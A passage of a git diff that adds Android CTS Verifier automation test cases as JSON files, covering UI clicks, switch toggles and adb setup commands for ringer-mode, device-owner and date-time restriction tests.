interruptions\",\"actionId\":\"3f0c2dc8-f97c-408c-a216-e435a3d7d081\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Alarms & other interruptions\"},{\"type\":\"PythonScriptAction\",\"name\":\"Enable sounds from Alarms and Media\",\"actionId\":\"7598a7eb-6e4a-43e4-ab40-3aea16a34fd1\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\nfrom python_uiautomator.ui_selector import UiSelector\\n\\nuicd_util = UICDPythonUtil()\\nuicd_util.init_env()\\n\\nd= Device.create_device_by_slot(0)\\nif d.text(\\\"Alarms\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist():\\n    d .text(\\\"Alarms\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\\nif d.text(\\\"Media sounds\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist():\\n    d.text(\\\"Media sounds\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"d21fc536-1fd1-4b67-bc92-73893dace381\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"026555a8-1b7a-49f3-9435-88fc0c0d3cb3\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"WaitAction\",\"name\":\"WAIT 30  secs\",\"actionId\":\"dacf1b93-6758-426d-9082-06c93b9f1a39\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":30000,\"createdBy\":\"riacheltseng\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"56374be4-b69b-40e7-b13a-3325c075a744\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"e5c6b1cb-f8a5-4b74-b3f9-05b5a9ff186b\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"4655f922-0d25-4f62-8b56-5700b69e31ff\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"WaitAction\",\"name\":\"WAIT 50 secs\",\"actionId\":\"3bea76d8-f59a-4df1-a5ba-b18480e2b0a1\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":50000,\"createdBy\":\"riacheltseng\"},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"308798c9-4da0-4ad8-a44e-27ea240552a3\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Touch sounds\",\"actionId\":\"8b417d56-04d6-47c1-b3af-4c90d7f455f4\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Touch sounds\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e6e70aa9-5dd5-427e-9190-6fe47cb1cdb7\",\"displayText\":\"Touch sounds\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"686ca313-cb3a-4711-b6fa-152600149d13\",\"displayText\":\"Touch sounds\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"3de87f89-811b-449a-8039-deeb7c976dda\",\"displayText\":\"Touch sounds\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Touch sounds\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":579.6666666666666,\"x2\":157.33333333333334,\"y2\":599.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.1666666666666714,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Touch sounds\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":565.0,\"x2\":288.0,\"y2\":614.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Touch sounds\"},{\"uuid\":\"a0795404-1949-49ac-962e-9b167ef40c7d\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"4c4f36c4-9dbd-4dd3-adf8-b1ddfd64d9ce\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Switch\",\"resourceId\":\"android:id/switch_widget\",\"checked\":true,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":302.6666666666667,\"y1\":577.0,\"x2\":345.3333333333333,\"y2\":601.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/widget_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":288.0,\"y1\":565.0,\"x2\":345.3333333333333,\"y2\":614.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":565.0,\"x2\":360.0,\"y2\":614.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":111.5,\"y\":589.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":68.5,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"3de87f89-811b-449a-8039-deeb7c976dda\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Touch sounds\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":58.0,\"y1\":576.0,\"x2\":165.0,\"y2\":603.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"PythonScriptAction\",\"name\":\"Enable Touch sounds\",\"actionId\":\"3d341121-26ba-49c9-9231-6685d70d7fb4\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\nfrom python_uiautomator.ui_selector import UiSelector\\n\\nuicd_util = UICDPythonUtil()\\nuicd_util.init_env()\\n\\nd= Device.create_device_by_slot(0)\\nif d.text(\\\"Touch sounds\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist():\\n    d .text(\\\"Touch sounds\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"54855ecd-d34b-4b70-90b7-3f59519da58f\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"69570292-8ea2-48f5-8048-11332fc8fd77\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"WaitAction\",\"name\":\"WAIT 10 secs\",\"actionId\":\"44cd6d6a-d655-4ecf-b6fe-7c6f0c0aef5e\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":10000,\"createdBy\":\"riacheltseng\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"eb50ad51-1c79-4427-b067-4278a14be337\",\"43a0c94a-55e9-46d6-9a0d-761e40e2de37\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"0c8249de-dac1-4b3c-852d-cfc4fbbfefbb\",\"1cd4f6c8-2abb-4210-ba54-390e8484b324\",\"0cd6f856-494c-4adb-a424-ad8f9716de8e\",\"2abe83e3-a05c-4599-9007-3efbabf97020\",\"c6612b18-5a86-4e82-b7fe-7487ddc09db1\",\"25c6ff54-e004-4c3b-b74c-ff1da5f49ece\",\"3f0c2dc8-f97c-408c-a216-e435a3d7d081\",\"7598a7eb-6e4a-43e4-ab40-3aea16a34fd1\",\"d21fc536-1fd1-4b67-bc92-73893dace381\",\"026555a8-1b7a-49f3-9435-88fc0c0d3cb3\",\"2abe83e3-a05c-4599-9007-3efbabf97020\",\"dacf1b93-6758-426d-9082-06c93b9f1a39\",\"0c8249de-dac1-4b3c-852d-cfc4fbbfefbb\",\"56374be4-b69b-40e7-b13a-3325c075a744\",\"e5c6b1cb-f8a5-4b74-b3f9-05b5a9ff186b\",\"4655f922-0d25-4f62-8b56-5700b69e31ff\",\"2abe83e3-a05c-4599-9007-3efbabf97020\",\"3bea76d8-f59a-4df1-a5ba-b18480e2b0a1\",\"0009ed57-c961-41b7-bcbe-d71e6f0abac1\",\"308798c9-4da0-4ad8-a44e-27ea240552a3\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"8b417d56-04d6-47c1-b3af-4c90d7f455f4\",\"3d341121-26ba-49c9-9231-6685d70d7fb4\",\"54855ecd-d34b-4b70-90b7-3f59519da58f\",\"69570292-8ea2-48f5-8048-11332fc8fd77\",\"2abe83e3-a05c-4599-9007-3efbabf97020\",\"44cd6d6a-d655-4ecf-b6fe-7c6f0c0aef5e\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Ringer Mode Tests","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325438.987000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/14ca85a4-dc82-479e-87f5-afd492728ac1 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/14ca85a4-dc82-479e-87f5-afd492728ac1
new file mode 100644
index 0000000..7f2e8e2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/14ca85a4-dc82-479e-87f5-afd492728ac1
@@ -0,0 +1 @@
+{"uuid":"14ca85a4-dc82-479e-87f5-afd492728ac1","details":"{\"type\":\"CompoundAction\",\"name\":\"15-17 Disallow config date time\",\"actionId\":\"14ca85a4-dc82-479e-87f5-afd492728ac1\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"a1add8e6-5408-417e-942b-2663863fcdd6\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-17 Disallow config date time","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.144000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/150ccde5-c230-418d-a286-b413af7f297b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/150ccde5-c230-418d-a286-b413af7f297b
new file mode 100644
index 0000000..f582fa5
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/150ccde5-c230-418d-a286-b413af7f297b
@@ -0,0 +1 @@
+{"uuid":"150ccde5-c230-418d-a286-b413af7f297b","details":"{\"type\":\"CompoundAction\",\"name\":\"Enable Device Owner\",\"actionId\":\"150ccde5-c230-418d-a286-b413af7f297b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Set Device owner\",\"actionId\":\"71489a4a-7abc-4e93-ad63-98d205a4ddb2\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"riacheltseng\",\"commandLine\":\"shell dpm set-device-owner com.android.cts.emptydeviceowner/.EmptyDeviceAdmin\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"71489a4a-7abc-4e93-ad63-98d205a4ddb2\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Enable Device Owner","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.068000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/151b7e7c-814c-42fc-b2f9-d9aeb0b9d86b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/151b7e7c-814c-42fc-b2f9-d9aeb0b9d86b
new file mode 100644
index 0000000..1ebb78c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/151b7e7c-814c-42fc-b2f9-d9aeb0b9d86b
@@ -0,0 +1 @@
+{"uuid":"151b7e7c-814c-42fc-b2f9-d9aeb0b9d86b","details":"{\"type\":\"CompoundAction\",\"name\":\"15-22-Set auto(network) time required\",\"actionId\":\"151b7e7c-814c-42fc-b2f9-d9aeb0b9d86b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Set auto (network) time required\",\"actionId\":\"ef95fef1-526e-4bad-8184-80d874c71abd\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Set auto (network) time required\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"8c6d1baf-fc93-4c18-a31c-5885e517045d\",\"displayText\":\"Set auto (network) time required\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Set auto (network) time required\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":272.3333333333333,\"x2\":360.0,\"y2\":316.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":124.5,\"y\":293.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":55.5,\"y\":1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"8c6d1baf-fc93-4c18-a31c-5885e517045d\",\"firstText\":\"Set auto (network) time required\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Set auto (network) time required\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":277.0,\"x2\":241.0,\"y2\":309.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set auto (network) time required\",\"actionId\":\"c245613d-d45e-4633-a3a2-698124c74099\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set auto (network) time required\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Use network-provided time\",\"actionId\":\"13a9f3e9-f8f2-4948-8b75-ab477c2c623e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Use network-provided time\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"469dad74-a9d8-4a55-95a0-191e3cfb3f51\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"2c61c0e6-266e-46bf-90e1-493ceb4454d3\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"ef95fef1-526e-4bad-8184-80d874c71abd\",\"c245613d-d45e-4633-a3a2-698124c74099\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"13a9f3e9-f8f2-4948-8b75-ab477c2c623e\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"469dad74-a9d8-4a55-95a0-191e3cfb3f51\",\"2c61c0e6-266e-46bf-90e1-493ceb4454d3\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-22-Set auto(network) time required","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.153000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/15aa571c-2e4d-43c0-b9c7-07b4f23041c4 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/15aa571c-2e4d-43c0-b9c7-07b4f23041c4
new file mode 100644
index 0000000..e76da8a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/15aa571c-2e4d-43c0-b9c7-07b4f23041c4
@@ -0,0 +1 @@
+{"uuid":"15aa571c-2e4d-43c0-b9c7-07b4f23041c4","details":"{\"type\":\"CompoundAction\",\"name\":\"Set restriction off by turning off the switch bar\",\"actionId\":\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Set restriction off\",\"actionId\":\"70f53c4e-3482-4110-b0c0-50f9e7e999fb\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nif d.resource_id(\\\"com.android.cts.verifier:id/widget_label\\\").right().resource_id(\\\"com.android.cts.verifier:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").verify_exist():\\n    d.resource_id(\\\"com.android.cts.verifier:id/widget_label\\\").right().resource_id(\\\"com.android.cts.verifier:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"70f53c4e-3482-4110-b0c0-50f9e7e999fb\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Set restriction off by turning off the switch bar","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.123000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/15bf913f-b3ab-4580-aaea-4a8bb50191b1 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/15bf913f-b3ab-4580-aaea-4a8bb50191b1
new file mode 100644
index 0000000..1a68179
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/15bf913f-b3ab-4580-aaea-4a8bb50191b1
@@ -0,0 +1 @@
+{"uuid":"15bf913f-b3ab-4580-aaea-4a8bb50191b1","details":"{\"type\":\"CompoundAction\",\"name\":\"If Test result alert screen pop up, dismiss it.\",\"actionId\":\"15bf913f-b3ab-4580-aaea-4a8bb50191b1\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"If test result alert pop up dismiss it.\",\"actionId\":\"161ebaf0-9829-4360-a93f-99940414e740\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/alertTitle\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Test Result\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"953236f4-a913-4452-9c83-df6e2e4d727d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"161ebaf0-9829-4360-a93f-99940414e740\",\"953236f4-a913-4452-9c83-df6e2e4d727d\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"If Test result alert screen pop up, dismiss it.","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.014000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/15c75efc-b173-4eed-9a2c-164886355c98 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/15c75efc-b173-4eed-9a2c-164886355c98
new file mode 100644
index 0000000..ef76331
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/15c75efc-b173-4eed-9a2c-164886355c98
@@ -0,0 +1 @@
+{"uuid":"15c75efc-b173-4eed-9a2c-164886355c98","details":"{\"type\":\"CompoundAction\",\"name\":\"Open Notifications status bar\",\"actionId\":\"15c75efc-b173-4eed-9a2c-164886355c98\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Launch notification\",\"actionId\":\"b6058196-0f4f-4a9e-a4e3-650726ae0a42\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"riacheltseng\",\"commandLine\":\"shell cmd statusbar expand-notifications\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"b6058196-0f4f-4a9e-a4e3-650726ae0a42\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Open Notifications status bar","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.061000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1601f323-e824-4190-9ee0-350f0a1149ea b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1601f323-e824-4190-9ee0-350f0a1149ea
new file mode 100644
index 0000000..3171fbd
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1601f323-e824-4190-9ee0-350f0a1149ea
@@ -0,0 +1 @@
+{"uuid":"1601f323-e824-4190-9ee0-350f0a1149ea","details":"{\"type\":\"CompoundAction\",\"name\":\"Dismiss instructions\",\"actionId\":\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-If \\\"OK\\\" button exists, Click to dismiss.\",\"actionId\":\"810a95ec-5eb8-4b8e-8a3c-3b3b7523ec6b\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/button1\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"810a95ec-5eb8-4b8e-8a3c-3b3b7523ec6b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Dismiss instructions","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325438.994000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/18b49457-9342-4842-aee7-3a76bd7dbedc b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/18b49457-9342-4842-aee7-3a76bd7dbedc
new file mode 100644
index 0000000..d3b4096
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/18b49457-9342-4842-aee7-3a76bd7dbedc
@@ -0,0 +1 @@
+{"uuid":"18b49457-9342-4842-aee7-3a76bd7dbedc","details":"{\"type\":\"CompoundAction\",\"name\":\"Press Pass on dialog\",\"actionId\":\"18b49457-9342-4842-aee7-3a76bd7dbedc\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button1\",\"actionId\":\"e3a682e0-2695-44df-b0c8-80658216eeb2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"e3a682e0-2695-44df-b0c8-80658216eeb2\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Press Pass on dialog","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.322000000}
\ No newline at end of file
